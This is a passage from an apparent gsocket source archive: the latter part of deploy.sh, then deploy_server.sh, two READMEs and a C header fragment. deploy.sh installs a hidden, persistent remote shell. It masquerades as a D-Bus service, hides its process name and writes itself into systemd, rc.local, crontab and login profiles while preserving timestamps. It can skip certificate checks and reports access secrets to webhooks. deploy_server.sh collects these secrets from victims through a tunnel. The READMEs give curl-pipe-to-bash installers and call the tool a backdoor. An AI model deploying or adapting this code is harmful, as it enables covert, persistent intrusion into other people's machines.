${DL_CRL}${CN} --> ${CM}S=\"${GS_SECRET}\" ${DL_WGT}${CN}" } # Try to load a GS_SECRET gs_secret_reload() { # DEBUGF "${CG}secret_load(${1})${CN}" [[ -n $GS_SECRET_FROM_FILE ]] && return [[ ! -f "$1" ]] && return # GS_SECRET="UNKNOWN" # never ever set GS_SECRET to a known value local sec sec=$(<"$1") [[ ${#sec} -lt 4 ]] && return WARN "Using existing secret from '${1}'" if [[ ${#sec} -lt 10 ]]; then WARN "SECRET in '${1}' is very short! (${#sec})" fi GS_SECRET_FROM_FILE=$sec } gs_secret_write() { mk_file "$1" || return echo "$GS_SECRET" >"$1" || return } install_system_systemd() { [[ ! -d "${SERVICE_DIR}" ]] && return command -v systemctl >/dev/null || return # test for: # 1. offline # 2. >&2 Failed to get D-Bus connection: Operation not permitted <-- Inside docker [[ "$(systemctl is-system-running 2>/dev/null)" =~ (offline|^$) ]] && return if [[ -f "${SERVICE_FILE}" ]]; then ((IS_INSTALLED+=1)) IS_SKIPPED=1 if systemctl is-active "${SERVICE_HIDDEN_NAME}" &>/dev/null; then IS_GS_RUNNING=1 fi IS_SYSTEMD=1 SKIP_OUT "${SERVICE_FILE} already exists." return fi # Create the service file mk_file "${SERVICE_FILE}" || return chmod 644 "${SERVICE_FILE}" # Stop 'is marked world-inaccessible' dmesg warnings. echo "[Unit] Description=D-Bus System Connection Bus After=network.target [Service] Type=simple Restart=always RestartSec=10 WorkingDirectory=/root ExecStart=/bin/bash -c \"${ENV_LINE[*]}GS_ARGS='-k $SYSTEMD_SEC_FILE -ilq' exec -a '${PROC_HIDDEN_NAME}' '${DSTBIN}'\" [Install] WantedBy=multi-user.target" >"${SERVICE_FILE}" || return gs_secret_write "$SYSTEMD_SEC_FILE" ts_add_systemd "${WANTS_DIR}/multi-user.target.wants" ts_add_systemd "${WANTS_DIR}/multi-user.target.wants/${SERVICE_HIDDEN_NAME}.service" "${SERVICE_FILE}" systemctl enable "${SERVICE_HIDDEN_NAME}" &>/dev/null || { rm -f "${SERVICE_FILE:?}" "${SYSTEMD_SEC_FILE:?}"; return; } # did not work... IS_SYSTEMD=1 ((IS_INSTALLED+=1)) } # inject a string ($2-) into the 2nd line of a file and retain the # PERM/TIMESTAMP of the target file ($1) install_to_file() { local fname="$1" shift 1 # If file does not exist then create with oldest TS mk_file "$fname" || return D="$(IFS=$'\n'; head -n1 "${fname}" && \ echo "${*}" && \ tail -n +2 "${fname}")" echo 2>/dev/null "$D" >"${fname}" || return true } install_system_rclocal() { [[ ! -f "${RCLOCAL_FILE}" ]] && return # Some systems have /etc/rc.local but it's not executeable... [[ ! -x "${RCLOCAL_FILE}" ]] && return if grep -F -- "$BIN_HIDDEN_NAME" "${RCLOCAL_FILE}" &>/dev/null; then ((IS_INSTALLED+=1)) IS_SKIPPED=1 SKIP_OUT "Already installed in ${RCLOCAL_FILE}." return fi # /etc/rc.local is /bin/sh which does not support the build-in 'exec' command. # Thus we need to start /bin/bash -c in a sub-shell before 'exec gs-netcat'. install_to_file "${RCLOCAL_FILE}" "$NOTE_DONOTREMOVE" "$RCLOCAL_LINE" gs_secret_write "$RCLOCAL_SEC_FILE" ((IS_INSTALLED+=1)) } install_system() { echo -en "Installing systemwide remote access permanentally....................." # Try systemd first install_system_systemd # Try good old /etc/rc.local [[ -z "$IS_INSTALLED" ]] && install_system_rclocal [[ -z "$IS_INSTALLED" ]] && { FAIL_OUT "no systemctl or /etc/rc.local"; return; } [[ -n $IS_SKIPPED ]] && return OK_OUT } install_user_crontab() { command -v crontab >/dev/null || return # no crontab echo -en "Installing access via crontab........................................." if crontab -l 2>/dev/null | grep -F -- "$BIN_HIDDEN_NAME" &>/dev/null; then ((IS_INSTALLED+=1)) IS_SKIPPED=1 SKIP_OUT "Already installed in crontab." return fi [[ $UID -eq 0 ]] && { mk_file "${CRONTAB_DIR}/root" } local old old="$(crontab -l 2>/dev/null)" || { # Create empty crontab (busybox) if no crontab exists at all. crontab - /dev/null } [[ -n $old ]] && old+=$'\n' echo -e "${old}${NOTE_DONOTREMOVE}\n0 * * * * $CRONTAB_LINE" | grep -F -v -- gs-bd | crontab - 2>/dev/null || { FAIL_OUT; return; } ((IS_INSTALLED+=1)) OK_OUT } install_user_profile() { local rc_filename_status local rc_file local rc_filename rc_filename="$1" rc_filename_status="${rc_filename}................................" rc_file="${GS_PREFIX}${HOME}/${rc_filename}" echo -en "Installing access via ~/${rc_filename_status:0:15}..............................." if [[ -f "${rc_file}" ]] && grep -F -- "$BIN_HIDDEN_NAME" "$rc_file" &>/dev/null; then ((IS_INSTALLED+=1)) IS_SKIPPED=1 SKIP_OUT "Already installed in ${rc_file}" return fi install_to_file "${rc_file}" "$NOTE_DONOTREMOVE" "${PROFILE_LINE}" || { SKIP_OUT "${CDR}Permission denied:${CN} ~/${rc_filename}"; false; return; } ((IS_INSTALLED+=1)) OK_OUT } install_user() { # Use crontab if it's not in systemd (but might be in rc.local). if [[ ! $OSTYPE == *darwin* ]]; then install_user_crontab fi [[ $IS_INSTALLED -ge 2 ]] && return # install_user_profile for x in "${RC_FN_LIST[@]}"; do install_user_profile "$x" done gs_secret_write "$USER_SEC_FILE" # Create new secret file } ask_nocertcheck() { WARN "Can not verify host. CA Bundle is not installed." echo >&2 "--> Attempting without certificate verification." echo >&2 "--> Press any key to continue or CTRL-C to abort..." echo -en >&2 "--> Continuing in " local n n=10 while :; do echo -en >&2 "${n}.." n=$((n-1)) [[ $n -eq 0 ]] && break read -r -t1 -n1 && break done [[ $n -gt 0 ]] || echo >&2 "0" GS_NOCERTCHECK=1 } # Use SSL and if this fails try non-ssl (if user consents to insecure downloads) # dl_ssl() { local cmd sslerr arg_nossl cmd="$3" sslerr="$2" arg_nossl="$1" shift 3 if [[ -z $GS_NOCERTCHECK ]]; then DL_ERR="$("$cmd" "$@" 2>&1 1>/dev/null)" [[ "${DL_ERR}" != *"$sslerr"* ]] && return fi FAIL_OUT "Certificate Error." [[ -z $GS_NOCERTCHECK ]] && ask_nocertcheck [[ -z $GS_NOCERTCHECK ]] && return echo -en "--> Downloading binaries without certificate verification............." DL_ERR="$("$cmd" "$arg_nossl" "$@" 2>&1 1>/dev/null)" } # Download $1 and save it to $2 dl() { [[ -s "$2" ]] && return # Debugging / testing. Use local package if available if [[ -n "$GS_USELOCAL" ]]; then [[ -f "../packaging/gsnc-deploy-bin/${1}" ]] && xcp "../packaging/gsnc-deploy-bin/${1}" "${2}" 2>/dev/null && return [[ -f "/gsocket-pkg/${1}" ]] && xcp "/gsocket-pkg/${1}" "${2}" 2>/dev/null && return [[ -f "${1}" ]] && xcp "${1}" "${2}" 2>/dev/null && return FAIL_OUT "GS_USELOCAL set but deployment binaries not found (${1})..." errexit elif [[ -n $IS_USE_CURL ]]; then dl_ssl "-k" "certificate problem" "${DL[@]}" "${URL_BIN}/${1}" "--output" "${2}" elif [[ -n $IS_USE_WGET ]]; then dl_ssl "--no-check-certificate" "is not trusted" "${DL[@]}" "${URL_BIN}/${1}" "-O" "${2}" else # errexit "Need curl or wget." FAIL_OUT "CAN NOT HAPPEN" errexit fi # Download failed: [[ ! -s "$2" ]] && { FAIL_OUT; echo "$DL_ERR"; exit_code 255; } } # S= was set. Do not install but execute in place. gs_access() { echo -e "Connecting..." local ret GS_SECRET="${S}" "${DSTBIN}" -s "${GS_SECRET}" -i ret=$? [[ $ret -eq 139 ]] && { WARN_EXECFAIL_SET "$ret" "SIGSEGV"; WARN_EXECFAIL; errexit; } [[ $ret -eq 61 ]] && { echo -e 2>&1 "--> ${CR}Could not connect to the remote host. It is not installed.${CN}" echo -e 2>&1 "--> ${CR}To install use one of the following:${CN}" echo -e 2>&1 "--> ${CM}X=\"${GS_SECRET}\" ${DL_CRL}${CN}" echo -e 2>&1 "--> ${CM}X=\"${GS_SECRET}\" ${DL_WGT}${CN}" } exit_code "$ret" } # Binary is in an executeable directory (no noexec-flag) # set IS_TESTBIN_OK if binary worked. # test_bin test_bin() { local bin local err_log unset IS_TESTBIN_OK bin="$1" # Try to execute the binary GS_OUT=$("$bin" -g 2>/dev/null) ret=$? # 126 - Exec format error [[ -z "$GS_OUT" ]] && { FAIL_OUT; ERR_LOG="wrong binary"; WARN_EXECFAIL_SET "$ret" "wrong binary"; return; } # Use randomly generated secret unless it's set already (X=) [[ -z $GS_SECRET ]] && GS_SECRET="$GS_OUT" IS_TESTBIN_OK=1 } test_network() { local ret unset IS_TESTNETWORK_OK # There should be no GS-NETCAT listening. # _GSOCKET_SERVER_CHECK_SEC=n makes gs-netcat try the connection. # 1. Exit=0 immediatly if server exists. # 2. Exit=202 after n seconds. Firewalled/DNS? # 3. Exit=203 if TCP to GSRN is refused. # 3. Exit=61 on GS-Connection refused. (server does not exist) # Do not need GS_ENV[*] here because all env variables are exported # when exec is used. err_log=$(_GSOCKET_SERVER_CHECK_SEC=15 GS_ARGS="-s ${GS_SECRET} -t" exec -a "$PROC_HIDDEN_NAME" "${DSTBIN}" 2>&1) ret=$? [[ -z "$ERR_LOG" ]] && ERR_LOG="$err_log" [[ $ret -eq 139 ]] && { ERR_LOG="" WARN_EXECFAIL_SET "$ret" "SIGSEGV" return } { [[ $ret -eq 202 ]] || [[ $ret -eq 203 ]]; } && { # 202 - Timeout (alarm) # 203 - TCP connection refused FAIL_OUT [[ -n "$ERR_LOG" ]] && echo >&2 "$ERR_LOG" # EXIT if we can not check if SECRET has already been used. errexit "Cannot connect to GSRN. Firewalled? Try GS_PORT=53 or 22, 7350 or 67." } # Pre <= 1.4.40 return with 255 if transparent proxy resets connection after 12 sec. # >1.4.40 return 203 (NETERROR) [[ $ret -eq 255 ]] && { # Connect reset by peer FAIL_OUT [[ -n "$ERR_LOG" ]] && echo >&2 "$ERR_LOG" errexit "A transparent proxy has been detected. Try GS_PORT=53 or 22,7350 or 67." } [[ $ret -eq 0 ]] && { FAIL_OUT "Secret '${GS_SECRET}' is already used." HOWTO_CONNECT_OUT exit_code 0 } # Fail _unless_ it's ECONNREFUSED [[ $ret -eq 61 ]] && { # HERE: ECONNREFUSED # Connection to GSRN was successfull and GSRN reports # that no server is listening. # This is a good enough test that this network & binary is working. IS_TESTNETWORK_OK=1 return } # Unknown error condition WARN_EXECFAIL_SET "$ret" "default pkg failed" } do_webhook() { local arr local IFS local str IFS="" # Expand any $SECRET variable, etc. while [[ $# -gt 0 ]]; do # We need to escape all " to "'"'" to pass 'eval' correctly. # (Note: This _WILL_ expand $-style variables - what we want) # shellcheck disable=SC2001 # Use bash.4.0 features => not portable # str=$(echo "$1" | sed "s/\x22/\x22'\x22'\x22/g") str="${1//\"/\"'\"'\"}" eval str=\""$str"\" arr+=("$str") shift 1 done # echo "arr=${#arr[@]}: ${arr[@]}" "${arr[@]}" } webhooks() { local arr local ok local err echo -en "Executing webhooks...................................................." [[ -z ${GS_WEBHOOK_CURL[0]} ]] && { SKIP_OUT; return; } [[ -z ${GS_WEBHOOK_WGET[0]} ]] && { SKIP_OUT; return; } if [[ -n $IS_USE_CURL ]]; then err="$(do_webhook "${DL[@]}" "${GS_WEBHOOK_CURL[@]}" 2>&1)" && ok=1 [[ -z $ok ]] && [[ -n $GS_WEBHOOK_404_OK ]] && [[ "${err}" == *"requested URL returned error: 404"* ]] && ok=1 elif [[ -n $IS_USE_WGET ]]; then err="$(do_webhook "${DL[@]}" "${GS_WEBHOOK_WGET[@]}" 2>&1)" && ok=1 [[ -z $ok ]] && [[ -n $GS_WEBHOOK_404_OK ]] && [[ "${err}" == *"ERROR 404: Not Found"* ]] && ok=1 fi [[ -n $ok ]] && { OK_OUT; return; } FAIL_OUT } try_network() { echo -en "Testing Global Socket Relay Network..................................." test_network [[ -n "$IS_TESTNETWORK_OK" ]] && { OK_OUT; return; } FAIL_OUT [[ -n "$ERR_LOG" ]] && echo >&2 "$ERR_LOG" WARN_EXECFAIL } # try try() { local osarch local src_pkg osarch="$1" src_pkg="gs-netcat_${osarch}.tar.gz" echo -e "--> Trying ${CG}${osarch}${CN}" # Download binaries echo -en "Downloading binaries.................................................." dl "gs-netcat_${osarch}.tar.gz" "${TMPDIR}/${src_pkg}" OK_OUT echo -en "Unpacking binaries...................................................." # Unpack (suppress "tar: warning: skipping header 'x'" on alpine linux (cd "${TMPDIR}" && tar xfz "${src_pkg}" 2>/dev/null) || { FAIL_OUT "unpacking failed"; errexit; } [[ -f "${TMPDIR}/._gs-netcat" ]] && rm -f "${TMPDIR}/._gs-netcat" # from docker??? [[ -n $GS_USELOCAL_GSNC ]] && { [[ -f "$GS_USELOCAL_GSNC" ]] || { FAIL_OUT "Not found: ${GS_USELOCAL_GSNC}"; errexit; } xcp "${GS_USELOCAL_GSNC}" "${TMPDIR}/gs-netcat" } OK_OUT echo -en "Copying binaries......................................................" xmv "${TMPDIR}/gs-netcat" "$DSTBIN" || { FAIL_OUT; errexit; } chmod 700 "$DSTBIN" OK_OUT echo -en "Testing binaries......................................................" test_bin "${DSTBIN}" if [[ -n "$IS_TESTBIN_OK" ]]; then OK_OUT return fi rm -f "${TMPDIR}/${src_pkg:?}" } # Download the gs-netcat_any-any.tar.gz and try all of the containing # binaries and fail hard if none could be found. try_any() { targets="x86_64-alpine i386-alpine aarch64-linux arm-linux x86_64-osx x86_64-cygwin i686-cygwin mips32-alpine mipsel32-alpine x86_64-freebsd" for osarch in $targets; do [[ "$osarch" == "$OSARCH" ]] && continue # Skip the default OSARCH (already tried) try "$osarch" [[ -n "$IS_TESTBIN_OK" ]] && break done if [[ -n "$IS_TESTBIN_OK" ]]; then echo -e >&2 "--> ${CY}Installation did not go as smooth as it should have.${CN}" else [[ -n "$ERR_LOG" ]] && echo >&2 "$ERR_LOG" fi } gs_start_systemd() { # HERE: It's systemd if [[ -z "$IS_GS_RUNNING" ]]; then # Resetting the Timestamp will yield a systemctl status warning that daemon-reload # is needed. Thus fix Timestamp here and reload. clean_all systemctl daemon-reload systemctl restart "${SERVICE_HIDDEN_NAME}" &>/dev/null if ! systemctl is-active "${SERVICE_HIDDEN_NAME}" &>/dev/null; then FAIL_OUT "Check ${CM}systemctl start ${SERVICE_HIDDEN_NAME}${CN}." exit_code 255 fi IS_GS_RUNNING=1 OK_OUT return fi SKIP_OUT "'${BIN_HIDDEN_NAME}' is already running and hidden as '${PROC_HIDDEN_NAME}'." } gs_start() { # If installed as systemd then try to start it [[ -n "$IS_SYSTEMD" ]] && gs_start_systemd [[ -n "$IS_GS_RUNNING" ]] && return # Scenario to consider: # GS_UNDO=1 ./deploy.sh -> removed all binaries but user does not issue 'pkill gs-dbus' # ./deploy.sh -> re-installs new secret. Start gs-dbus with _new_ secret. # Now two gs-dbus's are running (which is correct) if [[ -n "$KL_CMD" ]]; then ${KL_CMD} "${KL_CMD_RUNCHK_UARG[@]}" "${BIN_HIDDEN_NAME}" 2>/dev/null && IS_OLD_RUNNING=1 elif command -v pidof >/dev/null; then # if no pkill/killall then try pidof (but we cant tell which user...) if pidof -qs "$BIN_HIDDEN_NAME" &>/dev/null; then IS_OLD_RUNNING=1 fi fi IS_NEED_START=1 if [[ -n "$IS_OLD_RUNNING" ]]; then # HERE: OLD is already running. if [[ -n "$IS_SKIPPED" ]]; then # HERE: Already running. Skipped installation (sec.dat has not changed). SKIP_OUT "'${BIN_HIDDEN_NAME}' is already running and hidden as '${PROC_HIDDEN_NAME}'." unset IS_NEED_START else # HERE: sec.dat has been updated OK_OUT WARN "More than one ${PROC_HIDDEN_NAME} is running." echo -e "--> You may want to check: ${CM}ps -elf|grep -F -- '${PROC_HIDDEN_NAME}'${CN}" [[ -n $OLD_PIDS ]] && echo -e "--> or terminate the old ones: ${CM}kill ${OLD_PIDS}${CN}" fi else OK_OUT "" fi if [[ -n "$IS_NEED_START" ]]; then # We need an 'eval' here because the ENV_LINE[*] needs to be expanded # and then executed. # This wont work: # FOO="X=1" && ($FOO id) # => -bash: X=1: command not found # This does work: # FOO="X=1" && (eval $FOO id) (cd "$HOME"; eval "${ENV_LINE[*]}"TERM=xterm-256color GS_ARGS=\"-s "$GS_SECRET" -liD\" exec -a \""$PROC_HIDDEN_NAME"\" \""$DSTBIN"\") || errexit IS_GS_RUNNING=1 fi } init_vars [[ "$1" =~ (clean|uninstall|clear|undo) ]] && uninstall [[ -n "$GS_UNDO" ]] || [[ -n "$GS_CLEAN" ]] || [[ -n "$GS_UNINSTALL" ]] && uninstall init_setup # User supplied install-secret: X=MySecret bash -c "$(curl -fsSL https://gsocket.io/x)" [[ -n "$X" ]] && GS_SECRET_X="$X" if [[ -z $S ]]; then if [[ $UID -eq 0 ]]; then gs_secret_reload "$SYSTEMD_SEC_FILE" gs_secret_reload "$RCLOCAL_SEC_FILE" fi gs_secret_reload "$USER_SEC_FILE" if [[ -n $GS_SECRET_FROM_FILE ]]; then GS_SECRET="${GS_SECRET_FROM_FILE}" else GS_SECRET="${GS_SECRET_X}" fi DEBUGF "GS_SECRET=$GS_SECRET (F=${GS_SECRET_FROM_FILE}, X=${GS_SECRET_X})" else GS_SECRET="$S" fi try "$OSARCH" [[ -z "$GS_OSARCH" ]] && [[ -z "$IS_TESTBIN_OK" ]] && try_any WARN_EXECFAIL [[ -z "$IS_TESTBIN_OK" ]] && errexit "None of the binaries worked." [[ -z $S ]] && try_network # [[ -n "$GS_UPDATE" ]] && gs_update # S= is set. Do not install but connect to remote using S= as secret. [[ -n "$S" ]] && gs_access # -----BEGIN Install permanentally----- if [[ -z $GS_NOINST ]]; then if [[ -n $IS_DSTBIN_TMP ]]; then echo -en "Installing remote access.............................................." FAIL_OUT "${CDR}Set GS_DSTDIR= to a writeable & executable directory.${CN}" else # Try to install system wide. This may also start the service. [[ $UID -eq 0 ]] && install_system # Try to install to user's login script or crontab (if not installed as SYSTEMD) [[ -z "$IS_INSTALLED" || -z "$IS_SYSTEMD" ]] && install_user fi else echo -e "GS_NOINST is set. Skipping installation." fi # -----END Install permanentally----- if [[ -z "$IS_INSTALLED" ]] || [[ -n $IS_DSTBIN_TMP ]]; then echo -e >&2 "--> ${CR}Access will be lost after reboot.${CN}" fi [[ -n $IS_DSTBIN_CWD ]] && WARN "Installed to ${PWD}. Try GS_DSTDIR= otherwise.." webhooks HOWTO_CONNECT_OUT printf "%-70.70s" "Starting '${BIN_HIDDEN_NAME}' as hidden process '${PROC_HIDDEN_NAME}'....................................." if [[ -n "$GS_NOSTART" ]]; then SKIP_OUT "GS_NOSTART=1 is set." else gs_start fi echo -e "--> ${CW}Join us on Telegram - https://t.me/thcorg${CN}" exit_code 0 gsocket-1.4.41/deploy/deploy_server.sh0000755000175000017500000001344314503376047017677 0ustar epsilonepsilon#! /usr/bin/env bash # Most users never need to use this script. If you just want to deploy gsocket # then go to https://gsocket.io/deploy or use # bash -c "$(curl -fsSL https://gsocket.io/x)" # This script spins up a Cloudflare Tunnel to serve the deploy.sh script # and all binary files from an ephemeral URL. # # This is helpful if the user wants to: # 1. Received a Telegram, Discord or Webhook notification on installs # 2. Use your own Global Socket Relay Network # # To run this script type: # bash -c "$(curl -fsSL https://gsocket.io/deploy/xs)" # ---or--- # LOG=results.log bash -c "$(curl -fsSL https://gsocket.io/deploy/xs)" [[ -z $PORT ]] && PORT="32803" DATA_DIR="gs-www-data" packages=() packages+=("x86_64-alpine.tar.gz") packages+=("aarch64-linux.tar.gz") packages+=("arm-linux.tar.gz") packages+=("i386-alpine.tar.gz") packages+=("i686-cygwin.tar.gz") packages+=("mips32-alpine.tar.gz") packages+=("mips64-alpine.tar.gz") packages+=("mipsel32-alpine.tar.gz") packages+=("x86_64-osx.tar.gz") packages+=("x86_64-freebsd.tar.gz") [[ -t 1 ]] && { CY="\033[1;33m" # yellow CDY="\033[0;33m" # yellow CG="\033[1;32m" # green CDG="\033[0;32m" # green CR="\033[1;31m" # red CDR="\033[0;31m" # red CC="\033[1;36m" # cyan CDC="\033[0;36m" # cyan CM="\033[1;35m" # magenta CDM="\033[0;35m" # magenta CN="\033[0m" # none CW="\033[1;37m" CF="\e[2m" # faint } do_stop() { local arr [[ -f "cloudflare.pid" ]] && { kill -9 "$(cat cloudflare.pid)" &>/dev/null arr+=("cloudflare.pid") } [[ -f "www.pid" ]] && { kill -9 "$(cat www.pid)" &>/dev/null arr+=("www.pid") } rm -f "${arr[@]}" } do_cleanup() { rm -f "cloudflare.log" "www_err.log" &>/dev/null } ERREXIT() { local code code=$1 shift 1 [[ -n "$*" ]] && echo -e >&2 "$*" exit "$code" } do_sigtrap() { do_stop do_cleanup echo -e "\nType ${CDC}rm -rf ${DATA_DIR} ${LOG}${CN} to clean all files." exit 0 } trap do_sigtrap SIGINT SIGPIPE SIGTERM SIGHUP check_prog() { command -v "$1" >/dev/null && return ERREXIT 255 "Not found: $1. Please install ${CDC}${1}${CN}." } start() { local pidfn local name local err_logfn name="$1" err_logfn="$2" pidfn="${name,,}.pid" shift 2 [[ -e "${pidfn}" ]] && { kill -0 "$(cat "${pidfn}")" &>/dev/null || rm -f "${pidfn:?}"; } if [[ -e "${pidfn}" ]]; then echo -e >&2 "${CY}WARN${CN}: ${name} already running. To restart, type ${CDC}kill -9 $(cat ${pidfn}); rm -f ${pidfn}${CN}" return fi :>"${name,,}.log" "$@" >/dev/null 2>"${err_logfn}" & echo "$!" >"${pidfn}" } check_prog "cloudflared" check_prog "curl" PYTHON="python" command -v python >/dev/null || { [[ "$(python3 --version 2>/dev/null)" != "Python 3"* ]] && ERREXIT 255 "Not found: python." PYTHON=python3 } "$PYTHON" -m http.server -h >/dev/null || ERREXIT 255 "Python -m http.server not found." [[ ! -d "${DATA_DIR}/bin" ]] && mkdir -p "${DATA_DIR}/bin" [[ ! -f "${DATA_DIR}/x" ]] && { echo -e "Downloading ${CDY}x${CN} (e.g. deploy.sh)" curl -fsSL 'https://github.com/hackerschoice/gsocket/raw/master/deploy/deploy.sh' --output "${DATA_DIR}/x" } for n in "${packages[@]}"; do [[ -f "${DATA_DIR}/bin/gs-netcat_${n}" ]] && continue echo -e "Downloading ${CDY}gs-netcat_${n}${CN}..." curl -fsSL "https://github.com/hackerschoice/binary/raw/main/gsocket/bin/gs-netcat_${n}" --output "${DATA_DIR}/bin/gs-netcat_${n}" done start "Cloudflare" "cloudflare.log" cloudflared tunnel --url "http://127.0.0.1:${PORT}" --no-autoupdate start "www" "www_err.log" "$PYTHON" -m http.server --bind 127.0.0.1 --directory "${DATA_DIR}" "${PORT}" i=0 while :; do str=$(grep -E "https://.*trycloudflare.com" cloudflare.log | tail -n1 | cut -f2 -d'|' | sed 's/ //g') [[ -n $str ]] && break ((i++)) [[ $i -gt 10 ]] && { do_stop ERREXIT 255 "Could not get cloudflare tunnel. See cloudflare.log for details." } sleep 1 done str="${str:8}" # cut of https:// str="${str//[^[:alnum:]].-}" # sanitize [[ -z $str ]] && { do_stop ERREXIT 255 "Could not get CF URL. See cloudflare.log for details" } URL_BASE="https://${str}" # update deploy.sh sed "s|^URL_BASE=.*|URL_BASE=\"${URL_BASE}\"|" -i "${DATA_DIR}/x" sed "s|^gs_deploy_webhook=.*|gs_deploy_webhook='${URL_BASE}/results.php?s=\${GS_SECRET}'|" -i "${DATA_DIR}/x" sed 's|^GS_WEBHOOK_404_OK=.*|GS_WEBHOOK_404_OK=1|' -i "${DATA_DIR}/x" echo -e "\ ${CDG}All successfull deployments will be shown below.${CN} ${CDY}To log via Telegram, Discord or webhook.site please edit ${CW}$(realpath "$(pwd)/${DATA_DIR}/x")${CDY} and set${CN} 1. ${CDC}GS_TG_TOKEN=${CN}, ${CDC}GS_TG_CHATID=${CN} OR ${CDC}GS_DISCORD_KEY=${CN} OR ${CDC}GS_WEBHOOK_KEY=${CN} ${CW}${CF}Set the IP/HOST and PORT if you run your OWN Relay Network: ${CF}2. ${CC}${CF}GS_HOST=1.2.3.4${CN}, ${CC}${CF}GS_PORT=443${CN} To deploy gsocket: ${CM}bash -c \"\$(curl -fsSL ${URL_BASE}/x)\"${CN} ${CM}bash -c \"\$(wget --no-verbose -O- ${URL_BASE}/x)\"${CN} or set the variable during deployment. Example: ${CDM}GS_DISCORD_KEY='1106565073956253736/mEDRS5iY0S4sgUnRh8Q5pC4S54zYwczZhGOwXvR3vKr7YQmA0Ej1-Ig60Rh4P_TGFq-m' \\ bash -c \"\$(curl -fsSL ${URL_BASE}/x)\"${CN} Press CTRL-C to stop ${CDG}-----RESULTS BELOW-----${CN}" # a dirty hack to retrieve results: The deploy scripts requests an # non-existing PATH/$SECRET and we retrieve it from the error log. tail -f www_err.log | while read -r str; do str="${str//[^[:alnum:] \/:.&=?]/}" # sanitize str="${str##*GET \/results.php?s=}" str="${str%% *}" str="${str//[^[:alnum:]]/}" # sanitize [[ ${#str} -ne 22 ]] && continue d="$(date -u)" echo -e "[${CDG}${d}${CN}] ${CDC}gs-netcat -i -s '${CC}${str}${CDC}'${CN}" [[ -n $LOG ]] && echo -e "[${d}] gs-netcat -i -s '${str}'" >>"${LOG}" done do_sigtrap gsocket-1.4.41/deploy/README.md0000644000175000017500000000257114503376047015735 0ustar epsilonepsilon GSOCKET works on Linux, FreeBSD, macOS, Cygwin and many others. If the particular OS is not listed here then try the *Install Script* or *compile from source*. --- ***Static Binary*** The [deploy instructions](https://www.gsocket.io/deploy/) are the fastest way to install gsocket. Some people say it's the **_World's smallest backdoor_**. A stripped down version of just gs-netcat (without blitz, gs-mount, gs-ftp, ...) and no help (`--help`) is available as [pre-compiled static binary](https://github.com/hackerschoice/binary/tree/main/gsocket/bin). --- **Lastest Source: https://github.com/hackerschoice/gsocket/releases/latest** --- **Generic - Compile from GitHub** ``` /bin/bash -c "$(curl -fsSL gsocket.io/install.sh)" ``` --- **Generic - Compile from Source** Download the [latest source](https://github.com/hackerschoice/gsocket/releases/latest). ``` tar xfz gsocket-*.tar.gz cd gsocket-* ./configure && make install ``` --- **Debian/Ubuntu/Kali** ``` apt update apt install gsocket ``` --- **Other Linux** ``` curl -fsSL https://github.com/hackerschoice/binary/blob/main/gsocket/latest/gsocket_latest_all.deb --output gsocket_latest.deb dpkg -i gsocket_latest.deb ``` --- **FreeBSD** ``` pkg update pkg install gsocket ``` --- **Docker** Try gsocket with Docker. ``` docker run --rm -it hackerschoice/gsocket ``` ``` docker run --rm -it hackerschoice/gsocket-tor ``` --- gsocket-1.4.41/deploy/README-update.md0000644000175000017500000000242314503376047017211 0ustar epsilonepsilon All gs-netcat installations need to be updated to version 1.4.32 or later. How to update a deployed gs-netcat from https://www.gsocket.io/deploy to the latest gs-netcat version. --- 1. Verify which version of gs-netcat is running on your workstation ``` gs-netcat -h 2>&1 | grep GS OpenSSL 1.1.1k 25 Mar 2021 [0x101010bfL] (GS v1.4.30) ``` 2. Use any of these commands to log into your old session: ``` gs-netcat -i S=YourSecret bash -c "$(curl -fsSL gsocket.io/xold)" S=YourSecret bash -c "$(wget -qO- gsocket.io/xold)" ``` 3. On the remote shell execute these commands: ``` GS_UNDO=1 bash -c "$(curl -fsSL gsocket.io/xold)" GSPID=$(pidof gs-bd) X=YourSecret bash -c "$(curl -fsSL gsocket.io/x)" kill $GSPID ``` 4. Update gs-netcat on your workstation to 1.4.32 or later (alternatively see Pro-Tip below): ``` /bin/bash -c "$(curl -fsSL https://tiny.cc/gsinst)" ``` 5. Log in to your newly deployed gs-netcat (using verion 1.4.32 or later) with any of these commands: ``` gs-netcat -i S=YourSecret bash -c "$(curl -fsSL gsocket.io/x)" S=YourSecret bash -c "$(wget -qO- gsocket.io/x)" ``` --- Pro-Tip: Upgrade your local gs-netcat with the static binary with any of these commands: ``` GS_UPDATE=1 bash -c "$(curl -fsSL gsocket.io/x)" GS_UPDATE=1 bash -c "$(wget -qO- gsocket.io/x)" ``` gsocket-1.4.41/include/0000755000175000017500000000000014503376047014600 5ustar epsilonepsilongsocket-1.4.41/include/Makefile.am0000755000175000017500000000002314503376047016632 0ustar epsilonepsilonSUBDIRS = gsocket gsocket-1.4.41/include/gsocket/0000755000175000017500000000000014503376047016237 5ustar epsilonepsilongsocket-1.4.41/include/gsocket/gs-select.h0000644000175000017500000000460714503376047020305 0ustar epsilonepsilon #ifndef __LIBGSOCKET_SELECT_H__ #define __LIBGSOCKET_SELECT_H__ 1 struct _gs_sel_item { int (*func)(void *ctx, int fd, void *cb_arg, int cb_val); void *cb_arg; int cb_val; }; enum bfunc_state {GS_CALLREAD = 0x01, GS_CALLWRITE = 0x02}; typedef struct _gs_select_ctx { int max_fd; fd_set *rfd; fd_set *wfd; fd_set *r; fd_set *w; struct timeval tv; struct timeval *tv_now; struct _gs_sel_item mgr_r[FD_SETSIZE]; struct _gs_sel_item mgr_w[FD_SETSIZE]; enum bfunc_state blocking_func[FD_SETSIZE]; int saved_rw_state[FD_SETSIZE]; /* 0 == not saved. 1 = READ, 2 = WRITE, 3 = R&W */ int is_rw_state_saved[FD_SETSIZE]; int want_io_write[FD_SETSIZE]; int want_io_read[FD_SETSIZE]; int rdata_pending[FD_SETSIZE]; int rdata_pending_count; GS_EVENT_MGR emgr; // Event Manager (for Heartbeat) GS_EVENT hb; // Heatbeat timeout; return control to caller } GS_SELECT_CTX; typedef int (*gselect_cb_t)(GS_SELECT_CTX *ctx, int fd, void *arg, int val); int GS_SELECT_CTX_init(GS_SELECT_CTX *ctx, fd_set *rfd, fd_set *wfd, fd_set *r, fd_set *w, struct timeval *tv_now, int frequency); int GS_select(GS_SELECT_CTX *ctx); void GS_SELECT_add_cb_r(GS_SELECT_CTX *ctx, gselect_cb_t func, int fd, void *arg, int val); void GS_SELECT_add_cb_w(GS_SELECT_CTX *ctx, gselect_cb_t func, int fd, void *arg, int val); void GS_SELECT_add_cb(GS_SELECT_CTX *ctx, gselect_cb_t func_r, gselect_cb_t func_w, int fd, void *arg, int val); void 